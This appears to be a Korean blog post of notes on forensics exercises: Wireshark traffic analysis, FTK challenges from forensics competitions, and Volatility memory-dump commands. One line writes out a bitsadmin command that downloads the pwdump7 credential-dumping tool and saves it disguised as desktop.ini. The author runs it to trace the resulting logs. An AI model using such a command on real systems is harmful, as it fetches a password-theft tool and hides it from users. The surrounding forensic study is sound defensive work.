1. WireShark - 네트워크 패킷 흔적 조사
*tcp dump 같이 다운로드
1.1 ARP 스푸핑
: duplicate, 중복 감지 된 경우 뜸
- ARP 스푸핑 시 ARP Type는?
- Type ARP (0x0806)
- 공격자의 실제 MAC 주소는?
- 192.168.1.103
- 공격자는 몇번의 패킷을 전했는지?
- 3번, eth.src == 00:d0:59:aa:af:80
- 깃발 눌러서 필터 관련 설정 가능.
- 전체 필터 목록 조회: [Analyze] > [Display Filter Expression]
1.2 FTP 서버 브루트포스
응답코드 설명
331 | 사용자 이름에 문제가 없으며 암호가 필요합니다. |
530 | 로그인되지 않았습니다. |
220 | 새 사용자에게 서비스가 준비되었습니다. |
230 | 사용자가 로그인하여 진행합니다. |
- FTP 성공 메세지는? ftp.response.code == 220
- 공격자는 몇 번의 실패를 하였는가? 705 ftp.response.code == 530
- 접속 시 사용된 유저 이름을 CSV로 추출 [File] > [Export Specified Packet]
1.3 DDoS 공격(씬플로딩)
[Statistics] > [I/O Graphs] 그래프 양상을 통해 디도스 인지 확인 [Statistics] > [conversations] IP를 뭘썼는지 확인
1.4 CGIAttack
(1) [Statistics] > [HTTP] > [requests] > 필터에 http contains "js"로 검색/http contains "exe" frame contains "파일 시그니처(\x4d\x5A\x90\x00)" 등으로 필터 적용 가능 [file] -> [Export] -> [Object] -> [http] 해당 프로토콜 파일로만 뽑을 수 있음 (2) (2) [Statistics] > [HTTP] > [Packet Counter] 500+200 > SQL Injection 500+300 > SQL Injection 의심 3**+4** > 웹스캐너
패킷 택해서 우클릭 > Fllow > HTTP Stream
* 평소에 할때 일단 저장하고 패턴기반으로 백신 돌림
* 해킹대회 문제풀이: 악성코드 감염 일반적이지 않은 파일들 확인. URL이 유심하게 잘 봐줘야함 api > apl 등으로 URL 다른지 (사이트 https://gchq.github.io/CyberChef/)
(4) %u 56e8는 UCS2 방식 인코딩되어있는 것
(5) Swap edsianness 로 이바이트로 뒤집어 바이너리 데이터를 만듬 16진수 바이너리 파일을 hex로 보기위해 From Hex로 바꿔줌
(6) 셸 코드 나옴 드라이브바이 공격방식.
방문한것만으로도 쉘코드가 익스플로잇 됨. 분석하는 건 쉘코드를 PE 파일로 변경해서 분석하면 좋음.
2. FTK 툴 실습
포렌식할 때 쓰이는 무료 툴로 아래와 같이 지워진 파일도 다 볼수있음.
2.1 Malware Downloader
디지털 포렌식 대회 문제, Malware Downloader
문제 컨셉: 공격자가 어떻게 크리텐셜 덤프 툴을 받았나?
Download 폴더 확인 > /tmp 폴더 확인 > scp 명령어, ftp서버, bits
1. 저장 URL이 뭔지
- bits 로그가 남는 경로 확인 ProgramData > Microsoft > Downloader
- 어디에 저장했는가
- 이벤트 로그 확인 /winevt
- 어떤 이벤트를 봐야하는지 확인: https://jpcertcc.github.io/ToolAnalysisResultSheet/details/BITS.htm
- 이벤트 파일 확인: Microsoft-Windows-Bits-Client%4Operational
- 로컬 파일 경로 확인
- .exe 파일실행 흔적, 레지스트리 확인 /config
2. 어떤 명령어로 실행했는가
System 이벤트 파일 확인했지만 명령어를 찾을 수는 없었음.
- bitsadmin.exe 실행시키는 방법이 무엇일지 고민
- 가설 cmd와 powershell
- Microsoft-Windows-PowerShell%4Operational 등에서 확인할 수 없음.
- 역으로 직접 실행시키면서 명령어를 획득할 수 있음.
**$ bitsadmin /TRANSFER 1442 <http://www.tarasco.org/security/pwdump_7/pwdump7.zip> c:\\Users\\Public\\Downloads\\desktop.ini**
- 명령어 실행
- 이벤트 확인: 위와 같은 것을 확인.
bits job
LotL
https://lolbas-project.github.io/ Wmic.exe Wscript 등등 툴에서 여러 기능이 있으니 참고
exiftool
2.2 TimeFaker
디지털 포렌식 대회 문제, TimeFaker
문제 컨셉: 시스템 타임이 변경된 파일이 있다. 어떤 파일이 변조가 되었는가?
파일들이 확인되는데, 시스템 시간이 변경된 로그가 존재하는 이벤트 로그는 Windows 폴더가 없어 Export 할 수 없다.
다른 방법으로는 $LogFile, $MFT, $UsnJrnl의 3개의 파일을 Export 해 분석할 수 있다.
$UsnJrnl는 $Max가 기본 메타데이터가 저장되며 $J에는 실제 $UsnJrnl의 레코드가 저장된다.
[root]에 $LogFile, $MFT, [extend]에 $UsnJrnl 파일 추출
NTFS Log Tracker로 파일을 넣고 파싱한다.
[Parse]로 실행 후 CSV로 추출. 엑셀로 파일의 메타데이터를 볼 수 있음.
문제를 풀기 위해선 $UsnJrnl에서 $J 파일을 추출해 툴에 넣은 후 엑셀 파일을 떨군다.
CSV 파일에서 TimeStamp와 USN 값을 확인할 수 있다. USN은 Update Sequence Number의 약자로 모든 파일이 변경될 때마다 순서대로 부여되는 번호이다. USN을 오름차 순으로 정렬한 후 분석함ㄴ 아래와 같이 번호 중에 TimeStamp가 이상한 부분을 찾을 수 있다.
2.3 I can_t remember my password...T_T
USB에서 삭제된 암호 파일을 복구하고 VPN 암호를 확인합니다.
1. 암호 파일이 저장되는 마운트된 USB의 드라이브 문자는 무엇입니까?
윈도우 옵션 값은 레지스트리에 저장됨 /System32/config 파일 전체를 추출
추가로 개인 계정 폴더에 NTUSER 파일을 추출
악성코드 분석시 Regshot 툴을 씀. 악성코드 실행 전 후 비교해주는 툴
Rega를 사용해 레지스트리 분석
[파일] > [레지스트리 분석] > config 파일 선택 후 [분석 시작]
분석 후 HKEY_LOCAL_MECHINE > SOFTWARE > Microsoft > Windows Potable Devices > Devices > 선택 시 FrendlyNam에서 E를 입력받은 걸 알 수 있다.
2. 삭제된 암호 파일의 이름은 무엇입니까?
[root]에 $LogFile, $MFT 추출 후 툴 돌림. $J는 일부로 삭제시킨 것으로 추정.
Event 중 File Deletion 으로만 정렬해서 찾음
확장자로 분류해서 수상한 파일이 있는지 확인
3. VPN 비밀번호는 무엇입니까?
Cr3d3nti 흔적을 logfile에서 찾아봄.
윈도우 부팅 시 MBR 쪽을 참조하고 특정 위치 참조해서 디스크가 부팅가능한지 플래그 체크 후되면 VBR로 넘어감 OS가 올라오고 시스템이랑 CS 등 프로세스 올라오며 구동.
디스크 특징은 섹터 기준으로 데이터를 읽는데 섹터가 소실되면 디스크가 깨짐
따라서 백업 섹터가 항상 존재. 깨진 곳에 백업 데이터를 바이너리 형태로 복붙하면 디스크 복구가 된다.
파일 복구 도구를 사용하면 문서가 복구되어 문제를 풀 수 있음.
랜섬웨어에 걸렸을 때 바로 최대절전모드로 두면 확률적으로 키를 추출할 수 있는 경우도 있음
최대절전모드: 로드되어 있는 전체를 파일로 만들어줌
3. 물리 메모리 정보 분석
3.1 volatoility 사용
-h에서 옵션 확인 됨
이미지 분석 명령어 입력
python vol.py -f ../WIN-FDLQ8LD2B1I-20151117-213220.raw imageinfo
ps 추출 명령어 입력. pslist 사용.
python vol.py -f ../WIN-FDLQ8LD2B1I-20151117-213220.raw --profile=Win7SP1x86 pslist
정상적인 행위와 악성 행위를 구별하기 위해서는 부모자식간의 관계를 확인할 필요가 있음. pstree 사용.
python vol.py -f ../WIN-FDLQ8LD2B1I-20151117-213220.raw --profile=Win7SP1x86 pstree
Volatility Foundation Volatility Framework 2.6.1
프로세스 상에서 확인되지 않았을 때, 다음 상황을 가정해볼 수 있음
- ps injection: 정상적인 프로세스에 은닉
- DLL injection
- 지속성이 있지않은 랜섬웨어 등
- 루트킷
숨겨진 ps를 확인함, psscan에는 있는데 pslist에서 false로 없을 경우 프로세스가 은닉된 상태인 것.
명령어로 확인
python vol.py -f ../WIN-FDLQ8LD2B1I-20151117-213220.raw --profile=Win7SP1x86 psxview
암호화 키를 공격자가 받아야하기 때문에 랜섬웨어도 인터넷을 사용. 따라서 다음으로는 네트워크 스캔을 통해 통신 부분을 확인.
python vol.py -f ../WIN-FDLQ8LD2B1I-20151117-213220.raw --profile=Win7SP1x86 netscan
명령어 기반으로 실행했는지 보고싶을 땐 cmdline, cmdscan 등의 플러그인을 사용할 수 있다.
python vol.py -f ../WIN-FDLQ8LD2B1I-20151117-213220.raw --profile=Win7SP1x86 cmdline
메모리 덤프, 파일 덤프 가능
추가로 -p 해서 pid 넣으면 해당 프로세스만 덤프를 떠줌.
python vol.py -f ../WIN-FDLQ8LD2B1I-20151117-213220.raw --profile=Win7SP1x86 memdump -D dump
dii injection이 의심되면 dll dump해서 dll 파일 확인.
알약이나 V3에서 덤프된 거 다 던져주면 알아서 잡아줌. 가장 빠른 방법은 안티바이러스 체크하기.
python vol.py -f ../WIN-FDLQ8LD2B1I-20151117-213220.raw --profile=Win7SP1x86 dlldump -D dump
*로그 분석의 경우 장치 간의 시간 동기화가 중요
'tmp' 카테고리의 다른 글
[WP plug-in] 플러그인 만들기 (1-2) (0) | 2023.02.27 |
---|---|
Prototype Pollution (0) | 2023.02.08 |
DDE(Dynamic Data Exchange)와 CSV Injection (0) | 2023.02.07 |
[AI] 기초 개념 학습 #2(강화 학습) (0) | 2023.01.31 |
[AI] 기초 개념 학습 #1(ML 종류) (0) | 2023.01.30 |